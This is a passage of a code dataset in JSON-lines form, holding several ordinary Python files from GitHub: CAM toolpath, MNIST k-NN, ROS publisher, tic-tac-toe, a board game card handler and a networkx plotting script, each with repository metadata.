True","repo_name":"akhdaniel/addons","sub_path":"BIJB/hrd_schedule_warning/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"32949739282","text":"from opencamlib import ocl, camvtk\nimport time\n\nif __name__ == \"__main__\": \n print(ocl.version())\n \n myscreen = camvtk.VTKScreen() \n stl = camvtk.STLSurf(\"../../stl/gnu_tux_mod.stl\")\n print(\"STL surface read\")\n myscreen.addActor(stl)\n stl.SetWireframe() \n polydata = stl.src.GetOutput()\n print(dir(polydata))\n s= ocl.STLSurf()\n camvtk.vtkPolyData2OCLSTL(polydata, s)\n print(\"STLSurf with \", s.size(), \" triangles\")\n \n # define a cutter\n cutter = ocl.CylCutter(0.6, 5)\n print(cutter)\n \n print(\"creating PathDropCutter()\")\n pdc = ocl.PathDropCutter() # create a pdc\n print(\"set STL surface\")\n pdc.setSTL(s)\n print(\"set cutter\")\n pdc.setCutter(cutter) # set the cutter\n print(\"set minimumZ\")\n pdc.minimumZ = -1 # set the minimum Z-coordinate, or \"floor\" for drop-cutter\n print(\"set the sampling interval\")\n pdc.setSampling(0.0123)\n \n # some parameters for this \"zigzig\" pattern \n ymin=0\n ymax=12\n Ny=40 # number of lines in the y-direction\n dy = float(ymax-ymin)/Ny # the y step-over\n \n path = ocl.Path() # create an empty path object \n # add Line objects to the path in this loop\n for n in range(0,Ny):\n y = ymin+n*dy\n p1 = ocl.Point(0,y,0) # start-point of line\n p2 = ocl.Point(9,y,0) # end-point of line\n l = ocl.Line(p1,p2) # line-object\n path.append( l ) # add the line to the path\n\n print(\" set the path for pdf \")\n pdc.setPath( path )\n \n print(\" run the calculation \")\n t_before = time.time()\n pdc.run() # run drop-cutter on the path\n t_after = time.time()\n print(\"run took \", t_after-t_before,\" s\")\n \n print(\"get the results \")\n clp = pdc.getCLPoints() # get the cl-points from pdf\n \n print(\" render the CL-points\")\n camvtk.drawCLPointCloud(myscreen, clp)\n #myscreen.addActor( camvtk.PointCloud(pointlist=clp, collist=ccp) )\n myscreen.camera.SetPosition(3, 23, 15)\n myscreen.camera.SetFocalPoint(5, 5, 0)\n myscreen.render()\n print(\" All done.\")\n myscreen.iren.Start()\n","repo_name":"aewallin/opencamlib","sub_path":"examples/python/pathdropcutter_test_1.py","file_name":"pathdropcutter_test_1.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":343,"dataset":"github-code","pt":"72"}
+{"seq_id":"73842691111","text":"def checkSubarraySum(self, nums: List[int], k: int) -> bool:\n '''\n 同余定理:如果两个整数m、n满足n-m能被k整除,那么n和m对k同余\n 即 ( pre(j) - pre (i) ) % k == 0 则 pre(j) % k == pre(i) % k\n '''\n # Key:pre(i) % k, Value: i\n cnt = defaultdict(int)\n cnt[0] = -1\n pre = 0\n for i,num in enumerate(nums):\n pre += num\n pre %= k\n if pre in cnt:\n if i - cnt[pre] >= 2:\n return True\n else:\n cnt[pre] = i\n return False","repo_name":"YuanyuanQiu/LeetCode","sub_path":"0523 Continuous Subarray Sum.py","file_name":"0523 Continuous Subarray Sum.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"25649280940","text":"from typing import Optional\n\nfrom clipped.compact.pydantic import ValidationError\nfrom clipped.formatting import Printer\n\nfrom haupt.schemas.sandbox_config import SandboxConfig\nfrom polyaxon._services.values import PolyaxonServices\n\nPROXIES_CONFIG = None\nSANDBOX_CONFIG = None\n\nPolyaxonServices.set_service_name()\n\n\ndef set_proxies_config():\n from haupt.managers.proxies import ProxiesManager\n\n global PROXIES_CONFIG\n\n PROXIES_CONFIG = ProxiesManager.get_config_from_env()\n\n\ndef set_sandbox_config(\n config: Optional[SandboxConfig] = None,\n path: Optional[str] = None,\n persist: bool = False,\n env_only_config: bool = True,\n):\n from haupt.managers.sandbox import SandboxConfigManager\n from polyaxon.settings import HOME_CONFIG, set_agent_config\n\n SandboxConfigManager.set_config_path(HOME_CONFIG.path)\n PolyaxonServices.set_service_name(PolyaxonServices.SANDBOX)\n\n global SANDBOX_CONFIG\n\n try:\n SANDBOX_CONFIG = (\n config or SandboxConfigManager.get_config_from_env()\n if env_only_config\n else SandboxConfigManager.get_config_or_default()\n )\n SANDBOX_CONFIG.mount_sandbox(path=path or HOME_CONFIG.path)\n SANDBOX_CONFIG.set_default_artifacts_store()\n if persist:\n SandboxConfigManager.set_config(SANDBOX_CONFIG)\n set_agent_config(SANDBOX_CONFIG)\n\n except (TypeError, ValidationError):\n SandboxConfigManager.purge()\n Printer.warning(\"Your sandbox configuration was purged!\")\n","repo_name":"polyaxon/haupt","sub_path":"haupt/haupt/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":452,"dataset":"github-code","pt":"72"}
+{"seq_id":"74071608553","text":"import numpy as np\r\nimport struct\r\nimport cv2\r\n\r\n# test_f0name = \"images.idx3-ubyte\"\r\n# test_f1name = \"labels.idx1-ubyte\"\r\nf0name = \"t10k-images.idx3-ubyte\"\r\nf1name = \"t10k-labels.idx1-ubyte\"\r\n\r\ndef read_idx(filename):\r\n with open(filename, 'rb') as f:\r\n zero, data_type, dims = struct.unpack('>HBB', f.read(4))\r\n shape = tuple(struct.unpack('>I', f.read(4))[0] for d in range(dims))\r\n return np.frombuffer(f.read(), dtype=np.uint8).reshape(shape)\r\n\r\nif __name__ == '__main__':\r\n # training data\r\n images = read_idx(f0name)\r\n labels = read_idx(f1name)\r\n\r\n # N for how many training images we should keep... cuz big data set = slow, slow af.\r\n N = 7500\r\n\r\n # formatted images, as a Nx784 array\r\n f_img = np.empty([N, images.shape[1] * images.shape[2]])\r\n\r\n for i in range(len(f_img)):\r\n f_img[i] = images[i].ravel()\r\n\r\n print(\"\\nFinished prepping the training data!\")\r\n\r\n # and now load the \"testing\" data\r\n # which will be 10000 - N data points\r\n test_images = images[-(images.shape[0] - N):] # read_idx(test_f0name)\r\n # and the labels to check if we got a correct result\r\n test_labels = labels[-(images.shape[0] - N):] # read_idx(test_f1name)\r\n\r\n # formatted images, as a Nx784 array\r\n f_t_img = np.empty([len(test_images), test_images.shape[1] * test_images.shape[2]])\r\n\r\n for i in range(len(f_t_img)):\r\n f_t_img[i] = test_images[i].ravel()\r\n\r\n print(\"Finished prepping the testing data!\\n\")\r\n\r\n # so at this point i have the \"training\" data - images and labels\r\n # now i can load an image and compare it with the training data\r\n # meaning i calculate the distances, sort them and get the K nearest neighbors\r\n # and the \"guess\" / result of the algorithm will be the label that appears the most in those K neighbors\r\n\r\n # so first set some K\r\n K = 5\r\n\r\n correct = 0\r\n total = 0\r\n\r\n # and now, for each image in the testing set\r\n for i in range(len(f_t_img)):\r\n # get the distances from the current \"point\" to all the other points IN THE TRAINING SET!\r\n distances = np.linalg.norm(f_img - f_t_img[i], ord=2, axis=1.)\r\n # and make like a set of pairs (distance, index)\r\n set_of_pairs = np.empty([len(distances), 2])\r\n for j in range(len(set_of_pairs)):\r\n set_of_pairs[j] = [distances[j], j]\r\n # sort the distances\r\n # and get the first K ones\r\n # here's a little lesson of trickery\r\n knn = set_of_pairs[set_of_pairs[:,0].argsort()][:K]\r\n # and get the most frequent label and clasify this image as that label\r\n frequency = {}\r\n for k in range(len(knn)):\r\n if labels[int(knn[k][1])] in frequency.keys():\r\n frequency[labels[int(knn[k][1])]] += 1\r\n else:\r\n frequency[labels[int(knn[k][1])]] = 1\r\n best = 0\r\n label = -1\r\n for k in frequency.keys():\r\n if frequency[k] > best:\r\n best = frequency[k]\r\n label = k\r\n total += 1\r\n if label == test_labels[i]:\r\n correct += 1\r\n print(\"Correct : \" + str((correct / total) * 100) + \"% ( \" + str(correct) + \" out of \" + str(total) + \" )\")\r\n\r\n # print(\"Guess : \" + str(label) + \" \", end=\"\", flush=True)\r\n # print(\"Correct : \" + str(test_labels[i]))\r\n\r\n # # show each image and print its label in the console\r\n # for i in range(len(images)):\r\n # big = cv2.resize(images[i], (512, 512))\r\n # cv2.imshow('image', big)\r\n # print(labels[i])\r\n # cv2.waitKey(250)\r\n","repo_name":"thediciman/K-Nearest-Neighbors-with-MNIST-Dataset","sub_path":"fun.py","file_name":"fun.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"26757560935","text":"#! /usr/bin/env python\n\nimport rospy\nfrom read_odometry.msg import Age\n\nrospy.init_node('age_pub') #initiatie the node\npub = rospy.Publisher('/age_info', Age, queue_size=1) #Create a Publisher that will publish in the /age_info topic\nrate = rospy.Rate(2) #set rate at 2 Hz\nage = Age() #create an age message object\nage.years = 5 #fill values of message\nage.months = 2\nage.days = 1\n\nwhile not rospy.is_shutdown():\n pub.publish(age) #publish message into topic age_info\n rate.sleep()","repo_name":"daniel-l-merhi/Python-and-ROS-Coursework","sub_path":"ROS Basics/read_odometry/src/age_publisher.py","file_name":"age_publisher.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"21057894878","text":"# Salvando o Excel como .xls !!!\nimport xlrd\nfrom collections import OrderedDict\nimport json\n\nwb = xlrd.open_workbook(\"./Gibbs_table_v2.xls\")\nsh = wb.sheet_by_index(0)\n\n# Lista com os títulos\ntitles = sh.row_values(0)\n\n# Dicionário principal\ndata = OrderedDict()\n\n# Loop para preencher \"data\"\nfor rownum in range(1, sh.nrows):\n data1 = OrderedDict()\n row_values = sh.row_values(rownum)\n\n # Loop para cada título\n for i in range(len(row_values)):\n data1[titles[i]] = row_values[i]\n \n # Chave de \"data\" são as fórmulas, ou, \"row_values[0]\"\n data[row_values[0]] = data1\n\n# Escrever dict para json\nwith open(\"thermo_factors.json\", \"w\", encoding=\"utf-8\") as writeJsonfile:\n json.dump(data, writeJsonfile, indent=4)","repo_name":"Mr-Yuri/simul_gaseif_newton","sub_path":"xls_to_json.py","file_name":"xls_to_json.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"35606232731","text":"import random\nfrom copy import deepcopy\nfrom board import Board\nfrom btree import LinkedTree\nfrom btnode import BSTNode\n\n\nclass NotEmptyCellError(Exception):\n pass\n\n\nclass IndexOutOfRangeError(Exception):\n pass\n\n\nclass Game:\n \"\"\"Initializes the game\"\"\"\n\n def __init__(self):\n \"\"\"Initializes the board and starts the game\"\"\"\n self.board = Board()\n self.game()\n\n def possible_moves(self, board):\n \"\"\"Returns the list of possible moves\"\"\"\n rows, cols = 3, 3\n possible = []\n for row in range(rows):\n for col in range(cols):\n if board.is_empty(col, row):\n possible.append((row, col))\n return possible\n\n def tree_creation(self, board, count, tree, move, possible):\n \"\"\"Returns the number of winning combinations\"\"\"\n if len(possible) == 1:\n board.add_move(possible[0][1], possible[0][0], move)\n tree.insert_left = board\n if board.check_board() == 'x':\n count += 1\n return count\n if board.check_board() == 'x':\n count += 1\n return count\n else:\n if move == 'x':\n next_move = 'o'\n else:\n next_move = 'x'\n if not possible:\n return count\n i, j = 0, 0\n while possible:\n move1 = random.choice(possible)\n possible.remove(move1)\n board1 = deepcopy(board)\n board1.add_move(move1[1], move1[0], move)\n tree.insert_node(board1, True)\n possible2 = deepcopy(possible)\n\n count += self.tree_creation(board1, count, tree.get_children(i),\n next_move, possible)\n i = j\n j += 1\n return count\n\n def game(self):\n \"\"\"Runs the game\"\"\"\n while True:\n print(self.board)\n\n possible = self.possible_moves(self.board)\n user = int(input('Enter a number(0 to 8): '))\n if not(0 <= user <= 8):\n raise NotEmptyCellError('Please, enter valid index')\n row, col = user//3, user % 3\n if self.board.is_empty(col, row):\n self.board.add_move(col, row, 'o')\n else:\n raise IndexOutOfRangeError('This cell is not empty')\n possible = self.possible_moves(self.board)\n\n winner = self.board.check_board()\n if winner:\n print(self.board)\n print(winner + ' won the game!')\n break\n winner = self.board.check_board()\n if winner:\n print(winner + ' won the game!')\n break\n node = BSTNode(self.board)\n tree = LinkedTree(node)\n\n i, j = 0, 0\n trees = []\n while possible:\n move1 = random.choice(possible)\n possible.remove(move1)\n board1 = deepcopy(self.board)\n board1.add_move(move1[1], move1[0], 'x')\n tree.insert_node(board1, verbose=True)\n possible1 = deepcopy(possible)\n tree1 = self.tree_creation(\n board1, 0, tree.get_children(i), 'x', possible1)\n trees.append(tree1)\n i = j\n j += 1\n tr = max(trees)\n ind = trees.index(tr)\n self.board = tree.get_children(ind).key\n winner = self.board.check_board()\n if winner:\n print(self.board)\n print(winner + ' won the game!')\n break\n\n\nif __name__ == '__main__':\n game = Game()\n","repo_name":"Oleksandra2020/tic-tac-toe","sub_path":"advanced_tic_tac_toe/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28898311359","text":"from abstract_commands import AbstractCommands\n\n\n# Product F\nclass TriggerDevCard(AbstractCommands):\n def __init__(self, player, state=\"Starting\", can_cower=True):\n self.room_item = None\n self.player = player\n self.current_zombies = None\n self.state = state\n self.can_cower = can_cower\n\n def command(self, time):\n if len(self.dev_cards) == 0:\n if self.get_time == 11:\n print(\"You have run out of time\")\n self.lose_game()\n return\n else:\n print(\"Reshuffling The Deck\")\n self.load_dev_cards()\n self.time += 1\n\n dev_card = self.dev_cards[0]\n self.dev_cards.pop(0)\n event = dev_card.get_event_at_time(time)\n if event[0] == \"Nothing\":\n print(\"There is nothing in this room\")\n if len(self.chosen_tile.doors) == 1 and self.chosen_tile.name != \"Foyer\":\n self.state = \"Choosing Door\"\n self.get_game()\n return\n else:\n self.state = \"Moving\"\n self.get_game()\n return\n elif event[0] == \"Health\":\n print(\"There might be something in this room\")\n self.player.add_health(event[1])\n\n if event[1] > 0:\n print(f\"You gained {event[1]} health\")\n self.state = \"Moving\"\n elif event[1] < 0:\n print(f\"You lost {event[1]} health\")\n self.state = \"Moving\"\n if self.player.get_health() <= 0:\n self.lose_game()\n return\n elif event[1] == 0:\n print(\"You didn't gain or lose any health\")\n if len(self.chosen_tile.doors) == 1 and self.chosen_tile.name != \"Foyer\":\n self.state = \"Choosing Door\"\n if self.get_current_tile().name == \"Garden\" or \"Kitchen\":\n self.trigger_room_effect(self.get_current_tile().name)\n else:\n self.state = \"Moving\"\n self.get_game()\n elif event[0] == \"Item\":\n if len(self.dev_cards) == 0:\n if self.get_time == 11:\n print(\"You have run out of time\")\n self.lose_game()\n return\n else:\n print(\"Reshuffling The Deck\")\n self.load_dev_cards()\n self.time += 1\n next_card = self.dev_cards[0]\n print(f\"There is an item in this room: {next_card.get_item()}\")\n if len(self.player.get_items()) < 2:\n self.dev_cards.pop(0)\n self.player.add_item(next_card.get_item(), next_card.charges)\n print(f\"You picked up the {next_card.get_item()}\")\n if len(self.chosen_tile.doors) == 1 and self.chosen_tile.name != \"Foyer\":\n self.state = \"Choosing Door\"\n self.get_game()\n else:\n self.state = \"Moving\"\n self.get_game()\n else:\n self.room_item = [next_card.get_item(), next_card.charges]\n response = input(\"You already have two items, do you want to drop one of them? (Y/N) \")\n if response == \"Y\" or response == \"y\":\n self.state = \"Swapping Item\"\n else:\n self.state = \"Moving\"\n self.room_item = None\n self.get_game()\n if self.get_current_tile().name == \"Garden\" or \"Kitchen\":\n self.trigger_room_effect(self.get_current_tile().name)\n elif event[0] == \"Zombies\":\n print(f\"There are {event[1]} zombies in this room, prepare to fight!\")\n self.current_zombies = int(event[1])\n self.state = \"Attacking\"\n","repo_name":"DJWild2996/myzimp","sub_path":"ZIMP/trigger_dev_card.py","file_name":"trigger_dev_card.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"6151988960","text":"import pandas as pd\nimport numpy as np\nimport networkx as nx\nimport scipy.stats\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\n\ndef Alternating_left_right_node_coord(graph, comp_start_dict):\n\t\n\tstart_nodes_list = list(comp_start_dict.keys())\n\tstart_nodes_list.sort(key = lambda x: int(x.split(\"C_\")[0]))\n\tNodes_coord_dict = {}\n\tx_coord = 1\t\n\tmult_switch = 1\n\tfor s_node in start_nodes_list:\n\t\te_node = comp_start_dict[s_node]\n\t\tx = (x_coord//2)*mult_switch\n\t\tx_coord += 1\n\t\tmult_switch *= -1\n\n\t\tNodes_coord_dict[s_node] = {}\n\t\tNodes_coord_dict[s_node][\"pos\"] = (x,int(s_node.split(\"C_\")[0]))\n\t\tNodes_coord_dict[e_node] = {}\n\t\tNodes_coord_dict[e_node][\"pos\"] = (x,int(e_node.split(\"C_\")[0]))\n\tnx.set_node_attributes(graph, Nodes_coord_dict)\n\t\n\treturn graph\n\ndef Slide_right_node_coord(graph, comp_start_dict):\n\t\n\tstart_nodes_list = list(comp_start_dict.keys())\n\tstart_nodes_list.sort(key = lambda x: int(x.split(\"C_\")[0]))\n\tNodes_coord_dict = {}\n\tx_coord = 1\n\tfor s_node in start_nodes_list:\n\t\te_node = comp_start_dict[s_node]\n\t\tx = x_coord\n\t\tx_coord += 1\n\n\t\tNodes_coord_dict[s_node] = {}\n\t\tNodes_coord_dict[s_node][\"pos\"] = (x,int(s_node.split(\"C_\")[0]))\n\t\tNodes_coord_dict[e_node] = {}\n\t\tNodes_coord_dict[e_node][\"pos\"] = (x,int(e_node.split(\"C_\")[0]))\n\tnx.set_node_attributes(graph, Nodes_coord_dict)\n\t\n\treturn graph\n\ndef Get_signature_correlations(graph, component_str, signature_choice, gap_threshold):\n\t\n\t# Plot signature correlations barplot\n\tsignatures=[\"Biton_M2_GC_CONTENT\",\"Biton_M3_SMOOTH_MUSCLE\",\"Biton_M4_MITOCHONRIA_TRANSLATION\",\"Biton_M5_INTERFERON\",\"Biton_M6_BASALLIKE\",\"Biton_M7_CELLCYCLE\",\"Biton_M8_IMMUNE\",\"Biton_M9_UROTHELIALDIFF\",\"Biton_M12_MYOFIBROBLASTS\",\"Biton_M13_BLCAPATHWAYS\",\"Biton_M14_STRESS\"]\n\tsign_ind = signatures.index(signature_choice)\n\tscore_list = []\n\tfor sign in signatures:\n\t\tscore_list.append(graph.nodes[component_str][sign])\n\t\t#print(graph.nodes[component_str][sign])\n\tsign_score = score_list[sign_ind]\n\tscore_list.sort(reverse=True)\n\tprint(score_list, sign_score)\n\tif sign_score == score_list[0]:\n\t\tif sign_score/score_list[1] > gap_threshold:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\tif score_list[0]/sign_score > gap_threshold:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\ndef Get_SD_genes(component_str, SD_threshold, foldername, job):\n\t\n\tgene_list = []\n\tGenes = pd.read_csv(foldername+\"/\"+job+\"_genes.txt\", sep='\\t')\n\torder = int(component_str.split(\"C_\")[0])\n\tIC = int(component_str.split(\"C_\")[1])\n\tS = np.load(job+\"_deconvolutions/\"+job+\"_S_matrix_C\"+str(order)+\".npy\")\n\t\n\tIC_vect = S[:,IC-1]\n\t# Extract genes\n\tIC_std = np.std(IC_vect)\n\tIC_mean = np.mean(IC_vect)\n\t#print(IC_std)\n\t# Genes above SD\n\tIC_plus = IC_vect > IC_mean+(IC_std*SD_threshold)\n\t#print(Genes[IC_plus].values[0])\n\tgene_list.extend(Genes[IC_plus][\"Genes\"].to_list())\n\t# Genes below SD\n\tIC_minus = IC_vect < IC_mean-(IC_std*SD_threshold)\n\tgene_list.extend(Genes[IC_minus][\"Genes\"].to_list())\n\t\n\treturn gene_list\n\ndef Create_plot_colors(graph, max_dim, layout, threshold_sign, signature, edge_select, print_node_labels,\n\t\t\t\t\t\tprint_edge_labels, print_all_nodes, source_node, node_cmap, edge_cmap,\n\t\t\t\t\t\tgenes_test, SD, genes_prop, file_name, foldername, job, added_edges, start_nodes,show):\n\t\n\t# Find nodes and edges if 1 node has high correlation with signature\n\tedge_width = 3\n\tthreshold_sign = float(threshold_sign)\n\tSD = int(SD)\n\tgenes_prop = float(genes_prop)\n\tnodes_to_draw = []\n\tedges_to_draw = []\n\tnodes_gene_prop = []\n\t# Draw nodes based on signature correlation\n\tif len(source_node)<1:\n\t\t# Find sure nodes\n\t\tfor node in graph.nodes():\n\t\t\tif graph.nodes()[node][signature] > threshold_sign:\n\t\t\t\t# To look later to select sign nodes based on relative gap of sign corr\n\t\t\t\t\"\"\"\n\t\t\t\t#Gap_sign_test = Get_signature_correlations(graph, node, signature, 1.5)\n\t\t\t\t#print(Gap_sign_test, node)\n\t\t\t\t\"\"\"\n\t\t\t\tnodes_to_draw.append(node)\n\t\t# Get all connected nodes\n\t\tif print_all_nodes:\n\t\t\tfor node in nodes_to_draw:\n\t\t\t\tsign_nodes = nx.node_connected_component(graph, node)\n\t\t\t\tfor s_node in sign_nodes:\n\t\t\t\t\tif s_node not in nodes_to_draw:\n\t\t\t\t\t\tnodes_to_draw.append(s_node)\n\t\t# Get edges containing nodes to draw\n\t\tfor edge in graph.edges():\n\t\t\tif edge[0] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t\t\telif edge[1] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t# Draw nodes from input list\n\telse:\n\t\tnodes_to_draw = source_node.split(\",\")\n\t\t# Get all connected nodes\n\t\tfor node in nodes_to_draw:\n\t\t\tsign_nodes = nx.node_connected_component(graph, node)\n\t\t\tfor s_node in sign_nodes:\n\t\t\t\tif s_node not in nodes_to_draw:\n\t\t\t\t\tnodes_to_draw.append(s_node)\n\t\t# Get edges containing nodes to draw\n\t\tfor edge in graph.edges():\n\t\t\tif edge[0] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t\t\telif edge[1] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t# Get nodes containing genes of interest\n\tif len(genes_test)>0:\n\t\tgene_list = genes_test.split(\",\")\n\t\tprint(\"Looking for genes of interest\")\n\t\tnodes_to_draw = []\n\t\tfor node in graph.nodes():\n\t\t\tSD_gene_list = Get_SD_genes(node, SD, foldername, job)\n\t\t\tgene_count = 0\n\t\t\tfor gene in gene_list:\n\t\t\t\tif gene in SD_gene_list:\n\t\t\t\t\tgene_count += 1\n\t\t\tif gene_count>0:\n\t\t\t\tprop_found = gene_count/len(gene_list)\n\t\t\t\tif prop_found >= genes_prop:\n\t\t\t\t\tnodes_to_draw.append(node)\n\t\t\t\t\tnodes_gene_prop.append(prop_found)\n\t\t# Get edges containing nodes to draw\n\t\tedges_to_draw = []\n\t\tfor edge in graph.edges():\n\t\t\tif edge[0] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t\t\telif edge[1] in nodes_to_draw:\n\t\t\t\tedges_to_draw.append(edge)\n\t\t#print(\"Found nodes:\", len(nodes_to_draw))\n\t\t#print(\"Found edges:\", len(edges_to_draw))\n\t\n\tif len(nodes_to_draw) < 1:\n\t\tprint(\"No components found...\")\n\t\treturn\n\telse:\n\t\tprint(\"Found\", len(nodes_to_draw), \"Components!\")\n\t\n\t# Get nodes labels\n\tnode_labels = {}\n\tfor node in nodes_to_draw:\n\t\tnode_labels[node] = node\n\t# Get nodes color based on signature correlation\n\tnode_colors = []\n\tfor node in nodes_to_draw:\n\t\tnode_colors.append(graph.nodes()[node][signature])\n\t# Get edges width based on average signature correlation\n\tedge_widths = []\n\tfor edge in edges_to_draw:\n\t\tedge_widths.append(graph.edges()[edge][\"Average_\"+signature])\n\t# Get edges color based on average signature correlation\n\tedge_colors = []\n\tedge_labels_sign = {}\n\tfor edge in edges_to_draw:\n\t\tedge_colors.append(graph.edges()[edge][\"Average_\"+signature])\n\t\tedge_labels_sign[edge] = round(graph.edges()[edge][\"Average_\"+signature], 2)\n\t# Get edges color based on Pearson correlation\n\tedge_colors_cor = []\n\tedge_labels_pear = {}\n\tfor edge in edges_to_draw:\n\t\tedge_colors_cor.append(graph.edges()[edge][\"Pear_cor\"])\n\t\tedge_labels_pear[edge] = round(graph.edges()[edge][\"Pear_cor\"], 2)\n\t# Get edges style: solid if true component and dashed if added\n\tedge_dashed_name = []\n\tedge_solid_name = []\n\tedge_dashed_colors = []\n\tedge_solid_colors = []\n\tedge_dashed_colors_cor = []\n\tedge_solid_colors_cor = []\n\tedge_dashed_labels_sign = {}\n\tedge_solid_labels_sign = {}\n\tedge_dashed_labels_pear = {}\n\tedge_solid_labels_pear = {}\n\tcount = 0\n\tfor edge in edges_to_draw:\n\t\tif edge in added_edges:\n\t\t\tedge_dashed_name.append(edge)\n\t\t\tedge_dashed_colors.append(edge_colors[count])\n\t\t\tedge_dashed_colors_cor.append(edge_colors_cor[count])\n\t\t\tedge_dashed_labels_sign[edge] = edge_labels_sign[edge]\n\t\t\tedge_dashed_labels_pear[edge] = edge_labels_pear[edge]\n\t\telse:\n\t\t\tedge_solid_name.append(edge)\n\t\t\tedge_solid_colors.append(edge_colors[count])\n\t\t\tedge_solid_colors_cor.append(edge_colors_cor[count])\n\t\t\tedge_solid_labels_sign[edge] = edge_labels_sign[edge]\n\t\t\tedge_solid_labels_pear[edge] = edge_labels_pear[edge]\n\t\tcount+=1\n\t\n\t# Plot the selected components\n\tif layout == \"Alternating\":\n\t\tgraph = Alternating_left_right_node_coord(graph, start_nodes)\n\tif layout == \"Climbing\":\n\t\tgraph = Slide_right_node_coord(graph, start_nodes)\n\t\n\t# Get positions of nodes and consequently edges\n\tpos=nx.get_node_attributes(graph,'pos')\n\t# Get node labels positions on top-right\n\tpos_labels={}\n\tfor p in pos:\n\t\tpos_labels[p] = (pos[p][0]+3,pos[p][1]+1)\n\t\n\tfig, ax = plt.subplots()\n\t\n\tif print_node_labels:\n\t\tnx.draw_networkx_labels(graph,pos,labels=node_labels,\n\t\t\t\t\t\t\t\t\t\t\tfont_size=10,font_weight='bold',ax=ax)\n\t\tnodes_fig = nx.draw_networkx_nodes(graph, pos,\n\t\t\t\t\t\tnodelist=nodes_to_draw, node_size=0,\n\t\t\t\t\t\tnode_color=node_colors, cmap=plt.cm.get_cmap(node_cmap), vmin=0, vmax=1,\n\t\t\t\t\t\tedgecolors=\"k\",linewidths=2,ax=ax)\n\t\talpha_val = 0.5\n\telif len(genes_test)>0:\n\t\tnodes_fig = nx.draw_networkx_nodes(graph, pos,\n\t\t\t\t\t\tnodelist=nodes_to_draw, node_size=100,\n\t\t\t\t\t\tnode_color=nodes_gene_prop, cmap=plt.cm.get_cmap(node_cmap), vmin=0, vmax=1,\n\t\t\t\t\t\tedgecolors=\"k\",linewidths=2,ax=ax)\n\t\talpha_val = 1\n\telse:\n\t\tnodes_fig = nx.draw_networkx_nodes(graph, pos,\n\t\t\t\t\t\tnodelist=nodes_to_draw, node_size=100,\n\t\t\t\t\t\tnode_color=node_colors, cmap=plt.cm.get_cmap(node_cmap), vmin=0, vmax=1,\n\t\t\t\t\t\tedgecolors=\"k\",linewidths=2,ax=ax)\n\t\talpha_val = 1\n\n\t### Test for dashed edges\n\tif edge_select == \"Signature_correlation\":\n\t\t# Solid edges first\n\t\tif edge_solid_name:\n\t\t\tedges_border = nx.draw_networkx_edges(graph, pos, edgelist=edge_solid_name,\n\t\t\t\t\t\t\t\t width=edge_width*1.5, edge_color=\"k\", style='solid',alpha=alpha_val)\n\t\t\tedges_fig = nx.draw_networkx_edges(graph, pos, edgelist=edge_solid_name, width=edge_width,\n\t\t\t\t\t\t\t\t edge_color=edge_solid_colors, style='solid',alpha=alpha_val,\n\t\t\t\t\t\t\t\t edge_cmap=plt.cm.get_cmap(edge_cmap), edge_vmin=0, edge_vmax=1)\n\t\t# Dashed edges second\n\t\tif edge_dashed_name:\n\t\t\tedges_border = nx.draw_networkx_edges(graph, pos, edgelist=edge_dashed_name,\n\t\t\t\t\t\t\t\t width=edge_width*0.5, edge_color=\"k\", style='solid',alpha=alpha_val)\n\t\t\tedges_fig = nx.draw_networkx_edges(graph, pos, edgelist=edge_dashed_name, width=edge_width*0.5,\n\t\t\t\t\t\t\t\t edge_color=edge_dashed_colors, style='dashed',alpha=alpha_val,\n\t\t\t\t\t\t\t\t edge_cmap=plt.cm.get_cmap(edge_cmap), edge_vmin=0, edge_vmax=1)\n\t\tif print_edge_labels:\n\t\t\tnx.draw_networkx_edge_labels(graph, pos, edgelist=edges_to_draw,\n\t\t\t\t\t\t\t\t\t\tedge_labels=edge_labels_sign,label_pos=0.5,\n\t\t\t\t\t\t\t\t\t\tfont_weight='bold')\n\t\t\n\telif edge_select == \"Pearson_correlation\":\n\t\t# Solid edges first\n\t\tif edge_solid_name:\n\t\t\tedges_border = nx.draw_networkx_edges(graph, pos, edgelist=edge_solid_name,\n\t\t\t\t\t\t\t\t width=edge_width*1.5, edge_color=\"k\", style='solid',alpha=alpha_val)\n\t\t\tedges_fig = nx.draw_networkx_edges(graph, pos, edgelist=edge_solid_name, width=edge_width,\n\t\t\t\t\t\t\t\t edge_color=edge_solid_colors_cor, style='solid',alpha=alpha_val,\n\t\t\t\t\t\t\t\t edge_cmap=plt.cm.get_cmap(edge_cmap), edge_vmin=0, edge_vmax=1)\n\t\t# Dashed edges second\n\t\tif edge_dashed_name:\n\t\t\tedges_border = nx.draw_networkx_edges(graph, pos, edgelist=edge_dashed_name,\n\t\t\t\t\t\t\t\t width=edge_width*0.5, edge_color=\"w\", style='solid',alpha=alpha_val)\n\t\t\tedges_fig = nx.draw_networkx_edges(graph, pos, edgelist=edge_dashed_name, 